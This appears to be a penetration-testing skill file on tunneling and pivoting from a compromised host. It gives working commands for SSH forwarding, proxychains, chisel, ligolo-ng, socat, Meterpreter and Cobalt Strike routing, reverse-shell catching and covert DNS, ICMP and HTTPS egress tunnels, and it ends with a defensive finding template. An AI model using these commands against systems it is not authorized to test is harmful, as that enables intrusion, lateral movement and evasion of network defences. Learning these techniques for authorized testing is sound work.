performing-network-tunneling-and-pivoting

name	performing-network-tunneling-and-pivoting
description	Establishing tunnels, port forwards, and SOCKS proxies to reach internal networks from a foothold during authorized engagements - covering SSH local/remote/dynamic forwarding, proxychains, chisel, ligolo-ng, socat, plink, sshuttle, Meterpreter/Cobalt Strike routing, and covert DNS/ICMP/cloud tunnels.
domain	cybersecurity
subdomain	penetration-testing
tags	["penetration-testing","tunneling","pivoting"]
version	1.0
author	xalgorix
license	Apache-2.0

Performing Network Tunneling and Pivoting

When to Use

• You have a foothold (shell, session, or creds) on a host that can reach an internal subnet you cannot reach directly from the attack box.
• A target service (RDP 3389, WinRM 5985, SMB 445, SQL 1433, web) is only reachable from the compromised host or through a DMZ.
• Egress is restricted: only outbound 443/HTTPS or DNS is allowed, so you need a covert tunnel (cloudflared, ngrok, dnscat2, iodine, ptunnel-ng).
• You need to route a whole scanning toolchain (nmap, netexec, evil-winrm) through one pivot.

Critical: Techniques Most Often Missed

• SOCKS over SSH (-D) + proxychains for the whole toolkit — the highest-leverage pivot, frequently skipped in favor of single port forwards.

  ssh -f -N -D 1080 user@<compromised_ip>     # dynamic SOCKS proxy on local 1080
  echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
  proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
  

  • How to CONFIRM: proxychains curl -s http://<internal_ip> returns data, and ss -tlnp | grep 1080 shows the local listener.
• -Pn -sT is mandatory through SOCKS — ICMP and SYN scans cannot be tunneled through a SOCKS proxy, so ping discovery and raw SYN scans silently fail or lie.
  • How to CONFIRM: a -sT scan returns open ports where a default nmap returned "host down".
• GatewayPorts for remote forwards — ssh -R only binds to loopback on the victim unless GatewayPorts yes is set in /etc/ssh/sshd_config, so reverse shells to an internal IP fail.

  ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@<dmz_host> -vN
  # send a rev shell to dmz_internal_ip:443, catch it on localhost:7000
  

  • How to CONFIRM: ss -tlnp on the victim shows 443 bound to the internal interface, not just 127.0.0.1.
• Terrapin (CVE-2023-48795) — an MITM can inject data into any forwarded channel (-L/-R/-D). Confirm both ends run OpenSSH >= 9.6 before trusting an SSH tunnel.
• Proxychains DNS leak / wrong resolver — proxychains tunnels gethostbyname through SOCKS but defaults to the hardcoded resolver 4.2.2.2. In an internal env, set the DC as the resolver (edit /usr/lib/proxychains3/proxyresolv) so internal names resolve.

Workflow

Step 1: Map reachability and pick a transport

# From the foothold, find what the pivot host can reach
for p in 445 3389 5985 1433 22; do (echo > /dev/tcp/10.10.17.25/$p) >/dev/null 2>&1 && echo "$p open"; done
# Decide: SSH available -> use -L/-R/-D ; no SSH -> drop chisel/ligolo agent ; egress filtered -> covert tunnel

Step 2: SSH port forwarding (local, remote, dynamic)

# LOCAL forward: attacker_port -> compromised -> third_box:port
ssh -i ssh_key user@<compromised_ip> -L <attacker_port>:<victim_ip>:<remote_port> -N -f
sudo ssh -L 631:<victim_ip>:631 -N -f -l <user> <compromised_ip>

# REMOTE forward: open a port on the SSH server pointing back inward
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1   # local 1521 -> exposed as 10521
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1    # remote 1521 -> exposed as 10521

# DYNAMIC forward: full SOCKS proxy (use as proxychains backend)
ssh -f -N -D <attacker_port> user@<compromised_ip>

# VPN-over-SSH (root both sides, PermitTunnel/PermitRootLogin yes)
ssh root@server -w any:any
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 && ip link set tun0 up

Step 3: Agent-based pivots when SSH is unavailable

# chisel reverse SOCKS (same version both ends)
./chisel server -p 8080 --reverse                       # attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks         # victim -> SOCKS on 1080
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505  # single port

# ligolo-ng (same version agent/proxy) - tun-based, no proxychains needed
sudo ./proxy -selfcert                                  # attacker
interface_create --name "ligolo"                        # attacker console
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>   # victim
session                                                 # then select agent
tunnel_start --tun "ligolo"
interface_add_route --name "ligolo" --route <network>/<netmask>

# sshuttle - route a whole subnet transparently over SSH
sshuttle -r user@host 10.10.10.0/24
sshuttle -D -r user@host 0/0 --ssh-cmd 'ssh -i ./id_rsa'

# socat relay / reverse SSL backdoor / port redirect
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

# plink (Windows victim, reverse forward back to attacker SSH)
echo y | plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41

Step 4: C2 framework routing and Windows-native forwards

# Meterpreter local port forward
portfwd add -l <attacker_port> -p <remote_port> -r <remote_host>
# Meterpreter autoroute + SOCKS
run post/multi/manage/autoroute SUBNET=10.1.13.0
use auxiliary/server/socks_proxy; set VERSION 4a; run     # SOCKS on 1080
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf

# Cobalt Strike beacon SOCKS / reverse port forward
beacon> socks 1080
beacon> rportfwd [bind port] [forward host] [forward port]

# Windows netsh portproxy (needs local admin)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
netsh interface portproxy show v4tov4

Key Concepts

Concept	Description
Local forward (-L)	Bind a port on the attacker that tunnels to a target reachable from the pivot.
Remote forward (-R)	Bind a port on the pivot/SSH server that tunnels back to the attacker or inward; needs GatewayPorts yes for non-loopback binds.
Dynamic forward (-D)	Turns the SSH session into a SOCKS proxy so any tool can reach the whole reachable network via proxychains.
SOCKS limitation	ICMP/SYN cannot traverse SOCKS; always scan with -Pn -sT.
Reverse vs forward agent	Reverse pivots (chisel R:socks, ligolo agent) start from the victim and beat inbound firewall rules.
tun-based pivot	ligolo-ng / SSH -w create routed interfaces, avoiding per-port forwarding and proxychains.
Covert channel	DNS (dnscat2/iodine), ICMP (hans/ptunnel-ng), or HTTPS edge (cloudflared/ngrok) for restricted egress.
Terrapin (CVE-2023-48795)	SSH handshake downgrade enabling injection into forwarded channels; patch to OpenSSH >= 9.6.

Tools & Systems

Tool	Purpose
ssh / sshuttle	Local/remote/dynamic forwarding, VPN-over-SSH, transparent subnet routing.
proxychains	Force arbitrary TCP tools through a SOCKS proxy; tunnels DNS via gethostbyname.
chisel	HTTP-based reverse/forward TCP & SOCKS tunnel (match client/server version).
ligolo-ng	TUN-interface reverse tunnel with routes and listeners; no proxychains.
socat	TCP/SSL relays, reverse shells, SOCKS redirects, proxy bypass.
plink.exe / netsh	Windows SSH client reverse forwards; native portproxy (needs admin).
Meterpreter / Cobalt Strike	portfwd, autoroute, socks_proxy, beacon socks/rportfwd.
cloudflared / ngrok / frp	Outbound-443 tunnels to bypass ingress ACLs/NAT.
dnscat2 / iodine / ptunnel-ng / hans	DNS and ICMP covert tunnels for heavily filtered egress.
rpivot / reGeorg	SOCKS over NTLM proxy; SOCKS through an uploaded web tunnel (aspx/jsp/php).

Common Scenarios

Scenario 1: Reach internal RDP via SSH SOCKS

A Linux foothold can reach 10.10.17.25:3389 but the attack box cannot. ssh -f -N -D 1080 user@foothold opens a SOCKS proxy; proxychains xfreerdp /v:10.10.17.25 reaches RDP, and proxychains nmap -Pn -sT maps the rest of the subnet.

Scenario 2: No SSH, reverse pivot with ligolo-ng

A Windows host has no SSH but can call out to the attacker. The ligolo agent connects back, the operator runs tunnel_start and interface_add_route for the internal /24, then tools on the attack box reach internal services directly through the routed ligolo interface.

Scenario 3: HTTPS-only egress, covert exit via cloudflared

Egress allows only 443. cloudflared tunnel --url socks5://localhost:1080 --socks5 exposes an outbound SOCKS proxy through Cloudflare's edge, and proxychains routes traffic out without any inbound firewall change.

Output Format

## Tunneling / Pivoting Finding

**Technique**: SSH dynamic forward (SOCKS) pivot
**Pivot host**: 10.10.14.8 (compromised foothold, user: svc-app)
**Reached network**: 10.10.17.0/24 (previously unreachable from attack box)
**Severity**: High
**Finding**: Foothold permits unrestricted lateral access to the internal server segment
**Evidence**:
  - `ssh -f -N -D 1080 svc-app@10.10.14.8` -> SOCKS listener on 127.0.0.1:1080
  - `proxychains nmap -Pn -sT -p445,3389,5985 10.10.17.25` -> 445,3389,5985 open
  - `proxychains evil-winrm -i 10.10.17.25 -u admin` -> shell on internal host
**Impact**: A single compromised host bridges the perimeter into the protected server VLAN, enabling lateral movement to domain infrastructure.
**Recommendation**:
  1. Enforce egress filtering and host-based firewall rules limiting outbound/lateral connections from the foothold.
  2. Segment and ACL the internal VLAN; restrict management ports (3389/5985/445) to jump hosts.
  3. Patch SSH to OpenSSH >= 9.6 (Terrapin) and disable unused forwarding (`AllowTcpForwarding no`, `GatewayPorts no`).
  4. Monitor for SOCKS/long-lived SSH sessions and anomalous DNS/ICMP volume indicating covert tunnels.